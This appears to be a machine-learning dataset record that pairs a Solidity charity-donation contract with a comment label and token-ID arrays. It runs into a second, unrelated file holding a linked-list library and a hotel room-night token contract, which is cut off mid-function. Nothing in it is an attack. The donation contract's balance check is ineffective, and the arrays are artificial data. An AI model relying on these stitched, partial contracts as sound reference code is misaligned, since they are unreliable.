-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache2.0
pragma solidity ^0.8.0;
contract CharityDonation{
// ethereum address of contract owner
address payable contractOwner;
// list of charities (by address) this contract supports
address payable[] private supportedCharities;
// variable to store total number of donations
uint private totalDonations;
// variables to store top donor info
uint private topDonation;
address private topDonor;
// constructor to initialize contract owner, supported charities and init total donations sum
constructor(address payable[] memory charities) {
contractOwner = payable(msg.sender);
supportedCharities = charities;
totalDonations = 0;
}
/// modifier to prerequisite contract onwer only access to some methods
modifier ownerOnly {
require(msg.sender == contractOwner);
_;
}
/// define donation event
event DonationEvent(address donor, uint donationAmount);
/* Contract level methods */
/// view function to check if charity input is valid
function verifyCharityID(uint8 inputCharityID) private view {
require(inputCharityID >= 0 && inputCharityID < supportedCharities.length, "Input charity ID is invalid");
}
/// checks if sender address has sufficient funds to send
function checkIfFundsExist(uint userBalance, uint amountToSend) private pure {
require(userBalance >= amountToSend, "Check if user has the amount of ETH specified to send");
}
/// checks if current donation is bigger than the previous top one and alters info
function alterTopDonor(uint currentDonationAmount, uint _topDonation) private {
if (_topDonation < currentDonationAmount) {
topDonation = currentDonationAmount;
topDonor = msg.sender;
}
}
/// increase total donations amount
function increaseDonationTotal(uint amountDonated) private {
totalDonations = totalDonations + amountDonated;
}
/// sends donation (funds) to charity and destination address and emits a donation event
function makeTransactions(uint amountToDonate, address payable destinationAddress, uint amountToSend, uint8 charityID) private {
supportedCharities[charityID].transfer(amountToDonate);
destinationAddress.transfer(amountToSend);
// emit donation event when transfers are made
emit DonationEvent(msg.sender, amountToDonate);
}
/* Publicly accessible methods */
// variation A that sends 10% as a donation to a selected charity
function sendFunds(address payable destinationAddress, uint8 charityID) public payable{
verifyCharityID(charityID);
checkIfFundsExist(msg.sender.balance, msg.value);
// donation strategy (10%)
uint amountToDonate = msg.value / 10;
uint amountToSend = msg.value - amountToDonate;
alterTopDonor(amountToDonate, topDonation);
increaseDonationTotal(amountToDonate);
makeTransactions(amountToDonate, destinationAddress, amountToSend, charityID);
}
// variation B that sends specified donation amount to a selected charity
function sendFunds(address payable destinationAddress, uint8 charityID, uint amountToDonate) public payable{
verifyCharityID(charityID);
checkIfFundsExist(msg.sender.balance, msg.value);
// donation strategy (specific amount)
require(amountToDonate >= msg.value/100 && amountToDonate <= msg.value/2, "Donation amount must be at least 1% and at most 50% of the amount send");
uint amountToSend = msg.value - amountToDonate;
alterTopDonor(amountToDonate, topDonation);
increaseDonationTotal(amountToDonate);
makeTransactions(amountToDonate, destinationAddress, amountToSend, charityID);
}
// function to view total sum of donations made to all charities
function getOverallDonationInfo() public view returns (uint) {
return totalDonations;
}
/* Methods accesible only from contract owner */
// Get top donation amount and who made it
function getTopDonation() public ownerOnly view returns (uint, address) {
return (topDonation, topDonor);
}
// destroy contract and send all funds attached, to the contract owner
function destroyContract() public ownerOnly {
selfdestruct(contractOwner);
}
} | define donation event | event DonationEvent(address donor, uint donationAmount);
| 6,413,823 | [
1,
11255,
2727,
367,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
7615,
367,
1133,
12,
2867,
2727,
280,
16,
2254,
2727,
367,
6275,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* This utility library was forked from https://github.com/o0ragman0o/LibCLL
*/
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList {
mapping (uint256 => mapping (bool => uint256)) list;
uint256 length;
uint256 index;
}
/**
* @dev returns true if the list exists
* @param self stored linked list from contract
*/
function listExists(LinkedList storage self)
internal
view returns (bool) {
return self.length > 0;
}
/**
* @dev returns true if the node exists
* @param self stored linked list from contract
* @param _node a node to search for
*/
function nodeExists(LinkedList storage self, uint256 _node)
internal
view returns (bool) {
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
/**
* @dev Returns the number of elements in the list
* @param self stored linked list from contract
*/
function sizeOf(LinkedList storage self)
internal
view
returns (uint256 numElements) {
return self.length;
}
/**
* @dev Returns the links of a node as a tuple
* @param self stored linked list from contract
* @param _node id of the node to get
*/
function getNode(LinkedList storage self, uint256 _node)
public
view
returns (bool, uint256, uint256) {
if (!nodeExists(self,_node)) {
return (false, 0, 0);
} else {
return (true, self.list[_node][PREV], self.list[_node][NEXT]);
}
}
/**
* @dev Returns the link of a node `_node` in direction `_direction`.
* @param self stored linked list from contract
* @param _node id of the node to step from
* @param _direction direction to step in
*/
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public
view
returns (bool, uint256) {
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
/**
* @dev Can be used before `insert` to build an ordered list
* @param self stored linked list from contract
* @param _node an existing node to search from, e.g. HEAD.
* @param _value value to seek
* @param _direction direction to seek in
* @return next first node beyond '_node' in direction `_direction`
*/
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public
view
returns (uint256) {
if (sizeOf(self) == 0) {
return 0;
}
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
/**
* @dev Creates a bidirectional link between two nodes on direction `_direction`
* @param self stored linked list from contract
* @param _node first node for linking
* @param _link node to link to in the _direction
*/
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction)
private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
/**
* @dev Insert node `_new` beside existing node `_node` in direction `_direction`.
* @param self stored linked list from contract
* @param _node existing node
* @param _new new node to insert
* @param _direction direction to insert node in
*/
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction)
internal
returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
self.length++;
return true;
} else {
return false;
}
}
/**
* @dev removes an entry from the linked list
* @param self stored linked list from contract
* @param _node node to remove from the list
*/
function remove(LinkedList storage self, uint256 _node)
internal
returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) {
return 0;
}
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
self.length--;
return _node;
}
/**
* @dev pushes an enrty to the head of the linked list
* @param self stored linked list from contract
* @param _index The node Id
* @param _direction push to the head (NEXT) or tail (PREV)
*/
function add(LinkedList storage self, uint256 _index, bool _direction)
internal
returns (uint256) {
insert(self, HEAD, _index, _direction);
return self.index;
}
/**
* @dev pushes an enrty to the head of the linked list
* @param self stored linked list from contract
* @param _direction push to the head (NEXT) or tail (PREV)
*/
function push(LinkedList storage self, bool _direction)
internal
returns (uint256) {
self.index++;
insert(self, HEAD, self.index, _direction);
return self.index;
}
/**
* @dev pops the first entry from the linked list
* @param self stored linked list from contract
* @param _direction pop from the head (NEXT) or the tail (PREV)
*/
function pop(LinkedList storage self, bool _direction)
internal
returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
/**
* Owned contract
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
/**
* Constructor
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Only the owner of contract
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev transfer the ownership to other
* - Only the owner can operate
*/
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Accept the ownership from last owner
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TripioToken {
string public name;
string public symbol;
uint8 public decimals;
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
}
contract TripioRoomNightData is Owned {
using LinkedListLib for LinkedListLib.LinkedList;
// Interface signature of erc165.
// bytes4(keccak256("supportsInterface(bytes4)"))
bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7;
// Interface signature of erc721 metadata.
// bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("tokenURI(uint256)"));
bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd;
// Interface signature of erc721.
// bytes4(keccak256("balanceOf(address)")) ^
// bytes4(keccak256("ownerOf(uint256)")) ^
// bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")) ^
// bytes4(keccak256("safeTransferFrom(address,address,uint256)")) ^
// bytes4(keccak256("transferFrom(address,address,uint256)")) ^
// bytes4(keccak256("approve(address,uint256)")) ^
// bytes4(keccak256("setApprovalForAll(address,bool)")) ^
// bytes4(keccak256("getApproved(uint256)")) ^
// bytes4(keccak256("isApprovedForAll(address,address)"));
bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5;
// Base URI of token asset
string public tokenBaseURI;
// Authorized contracts
struct AuthorizedContract {
string name;
address acontract;
}
mapping (address=>uint256) public authorizedContractIds;
mapping (uint256 => AuthorizedContract) public authorizedContracts;
LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0);
// Rate plan prices
struct Price {
uint16 inventory; // Rate plan inventory
bool init; // Whether the price is initied
mapping (uint256 => uint256) tokens;
}
// Vendor hotel RPs
struct RatePlan {
string name; // Name of rate plan.
uint256 timestamp; // Create timestamp.
bytes32 ipfs; // The address of rate plan detail on IPFS.
Price basePrice; // The base price of rate plan
mapping (uint256 => Price) prices; // date -> Price
}
// Vendors
struct Vendor {
string name; // Name of vendor.
address vendor; // Address of vendor.
uint256 timestamp; // Create timestamp.
bool valid; // Whether the vendor is valid(default is true)
LinkedListLib.LinkedList ratePlanList;
mapping (uint256=>RatePlan) ratePlans;
}
mapping (address => uint256) public vendorIds;
mapping (uint256 => Vendor) vendors;
LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0);
// Supported digital currencies
mapping (uint256 => address) public tokenIndexToAddress;
LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0);
// RoomNight tokens
struct RoomNight {
uint256 vendorId;
uint256 rpid;
uint256 token; // The digital currency token
uint256 price; // The digital currency price
uint256 timestamp; // Create timestamp.
uint256 date; // The checkin date
bytes32 ipfs; // The address of rate plan detail on IPFS.
}
RoomNight[] public roomnights;
// rnid -> owner
mapping (uint256 => address) public roomNightIndexToOwner;
// Owner Account
mapping (address => LinkedListLib.LinkedList) public roomNightOwners;
// Vendor Account
mapping (address => LinkedListLib.LinkedList) public roomNightVendors;
// The authorized address for each TRN
mapping (uint256 => address) public roomNightApprovals;
// The authorized operators for each address
mapping (address => mapping (address => bool)) public operatorApprovals;
// The applications of room night redund
mapping (address => mapping (uint256 => bool)) public refundApplications;
// The signature of `onERC721Received(address,uint256,bytes)`
// bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba;
/**
* This emits when contract authorized
*/
event ContractAuthorized(address _contract);
/**
* This emits when contract deauthorized
*/
event ContractDeauthorized(address _contract);
/**
* The contract is valid
*/
modifier authorizedContractValid(address _contract) {
require(authorizedContractIds[_contract] > 0);
_;
}
/**
* The contract is valid
*/
modifier authorizedContractIdValid(uint256 _cid) {
require(authorizedContractList.nodeExists(_cid));
_;
}
/**
* Only the owner or authorized contract is valid
*/
modifier onlyOwnerOrAuthorizedContract {
require(msg.sender == owner || authorizedContractIds[msg.sender] > 0);
_;
}
/**
* Constructor
*/
constructor() public {
// Add one invalid RoomNight, avoid subscript 0
roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0));
}
/**
* @dev Returns the node list and next node as a tuple
* @param self stored linked list from contract
* @param _node the begin id of the node to get
* @param _limit the total nodes of one page
* @param _direction direction to step in
*/
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
}else {
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
}else {
return (temp, ei);
}
}
}
/**
* @dev Authorize `_contract` to execute this contract's funs
* @param _contract The contract address
* @param _name The contract name
*/
function authorizeContract(address _contract, string _name)
public
onlyOwner
returns(bool) {
uint256 codeSize;
assembly { codeSize := extcodesize(_contract) }
require(codeSize != 0);
// Not exists
require(authorizedContractIds[_contract] == 0);
// Add
uint256 id = authorizedContractList.push(false);
authorizedContractIds[_contract] = id;
authorizedContracts[id] = AuthorizedContract(_name, _contract);
// Event
emit ContractAuthorized(_contract);
return true;
}
/**
* @dev Deauthorized `_contract` by address
* @param _contract The contract address
*/
function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
// Event
emit ContractDeauthorized(_contract);
return true;
}
/**
* @dev Deauthorized `_contract` by contract id
* @param _cid The contract id
*/
function deauthorizeContractById(uint256 _cid)
public
onlyOwner
authorizedContractIdValid(_cid)
returns(bool) {
address acontract = authorizedContracts[_cid].acontract;
authorizedContractList.remove(_cid);
authorizedContractIds[acontract] = 0;
delete authorizedContracts[_cid];
// Event
emit ContractDeauthorized(acontract);
return true;
}
/**
* @dev Get authorize contract ids by page
* @param _from The begin authorize contract id
* @param _limit How many authorize contract ids one page
* @return The authorize contract ids and the next authorize contract id as tuple, the next page not exists when next eq 0
*/
function getAuthorizeContractIds(uint256 _from, uint256 _limit)
external
view
returns(uint256[], uint256){
return getNodes(authorizedContractList, _from, _limit, true);
}
/**
* @dev Get authorize contract by id
* @param _cid Then authorize contract id
* @return The authorize contract info(_name, _acontract)
*/
function getAuthorizeContract(uint256 _cid)
external
view
returns(string _name, address _acontract) {
AuthorizedContract memory acontract = authorizedContracts[_cid];
_name = acontract.name;
_acontract = acontract.acontract;
}
/*************************************** GET ***************************************/
/**
* @dev Get the rate plan by `_vendorId` and `_rpid`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
*/
function getRatePlan(uint256 _vendorId, uint256 _rpid)
public
view
returns (string _name, uint256 _timestamp, bytes32 _ipfs) {
_name = vendors[_vendorId].ratePlans[_rpid].name;
_timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp;
_ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs;
}
/**
* @dev Get the rate plan price by `_vendorId`, `_rpid`, `_date` and `_tokenId`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @return The price info(inventory, init, price)
*/
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
// Get the base price
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
/**
* @dev Get the rate plan prices by `_vendorId`, `_rpid`, `_dates` and `_tokenId`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _dates The dates desc ([20180723,20180724,20180725])
* @param _tokenId The digital token id
* @return The price info(inventory, init, price)
*/
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
// Get the base price
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
/**
* @dev Get the inventory by by `_vendorId`, `_rpid` and `_date`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @return The inventory info(inventory, init)
*/
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
// Get the base price
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
/**
* @dev Whether the rate plan is exist
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @return If the rate plan of the vendor is exist returns true otherwise return false
*/
function ratePlanIsExist(uint256 _vendorId, uint256 _rpid)
public
view
returns (bool) {
return vendors[_vendorId].ratePlanList.nodeExists(_rpid);
}
/**
* @dev Get orders of owner by page
* @param _owner The owner address
* @param _from The begin id of the node to get
* @param _limit The total nodes of one page
* @param _direction Direction to step in
* @return The order ids and the next id
*/
function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightOwners[_owner], _from, _limit, _direction);
}
/**
* @dev Get orders of vendor by page
* @param _owner The vendor address
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The order ids and the next id
*/
function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightVendors[_owner], _from, _limit, _direction);
}
/**
* @dev Get the token count of somebody
* @param _owner The owner of token
* @return The token count of `_owner`
*/
function balanceOf(address _owner)
public
view
returns(uint256) {
return roomNightOwners[_owner].length;
}
/**
* @dev Get rate plan ids of `_vendorId`
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The rate plan ids and the next id
*/
function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction);
}
/**
* @dev Get token ids
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The token ids and the next id
*/
function getTokens(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(tokenList, _from, _limit, _direction);
}
/**
* @dev Get token Info
* @param _tokenId The token id
* @return The token info(symbol, name, decimals)
*/
function getToken(uint256 _tokenId)
public
view
returns(string _symbol, string _name, uint8 _decimals, address _token) {
_token = tokenIndexToAddress[_tokenId];
TripioToken tripio = TripioToken(_token);
_symbol = tripio.symbol();
_name = tripio.name();
_decimals = tripio.decimals();
}
/**
* @dev Get vendor ids
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The vendor ids and the next id
*/
function getVendors(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendorList, _from, _limit, _direction);
}
/**
* @dev Get the vendor infomation by vendorId
* @param _vendorId The vendor id
* @return The vendor infomation(name, vendor, timestamp, valid)
*/
function getVendor(uint256 _vendorId)
public
view
returns(string _name, address _vendor,uint256 _timestamp, bool _valid) {
_name = vendors[_vendorId].name;
_vendor = vendors[_vendorId].vendor;
_timestamp = vendors[_vendorId].timestamp;
_valid = vendors[_vendorId].valid;
}
/*************************************** SET ***************************************/
/**
* @dev Update base uri of token metadata
* @param _tokenBaseURI The base uri
*/
function updateTokenBaseURI(string _tokenBaseURI)
public
onlyOwnerOrAuthorizedContract {
tokenBaseURI = _tokenBaseURI;
}
/**
* @dev Push order to user's order list
* @param _owner The buyer address
* @param _rnid The room night order id
* @param _direction direction to step in
*/
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
/**
* @dev Remove order from owner's order list
* @param _owner The owner address
* @param _rnid The room night order id
*/
function removeOrderOfOwner(address _owner, uint _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightOwners[_owner].nodeExists(_rnid));
roomNightOwners[_owner].remove(_rnid);
}
/**
* @dev Push order to the vendor's order list
* @param _vendor The vendor address
* @param _rnid The room night order id
* @param _direction direction to step in
*/
function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
/**
* @dev Remove order from vendor's order list
* @param _vendor The vendor address
* @param _rnid The room night order id
*/
function removeOrderOfVendor(address _vendor, uint256 _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightVendors[_vendor].nodeExists(_rnid));
roomNightVendors[_vendor].remove(_rnid);
}
/**
* @dev Transfer token to somebody
* @param _tokenId The token id
* @param _to The target owner of the token
*/
function transferTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightIndexToOwner[_tokenId] = _to;
roomNightApprovals[_tokenId] = address(0);
}
/**
* @dev Approve `_to` to operate the `_tokenId`
* @param _tokenId The token id
* @param _to Somebody to be approved
*/
function approveTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightApprovals[_tokenId] = _to;
}
/**
* @dev Approve `_operator` to operate all the Token of `_to`
* @param _operator The operator to be approved
* @param _to The owner of tokens to be operate
* @param _approved Approved or not
*/
function approveOperatorTo(address _operator, address _to, bool _approved)
public
onlyOwnerOrAuthorizedContract {
operatorApprovals[_to][_operator] = _approved;
}
/**
* @dev Update base price of rate plan
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _tokenId The digital token id
* @param _price The price to be updated
*/
function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.init = true;
vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price;
}
/**
* @dev Update base inventory of rate plan
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _inventory The inventory to be updated
*/
function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory;
}
/**
* @dev Update price by `_vendorId`, `_rpid`, `_date`, `_tokenId` and `_price`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @param _price The price to be updated
*/
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
/**
* @dev Update inventory by `_vendorId`, `_rpid`, `_date`, `_inventory`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The inventory to be updated
*/
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
/**
* @dev Reduce inventories
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The amount to be reduced
*/
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
/**
* @dev Add inventories
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The amount to be add
*/
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
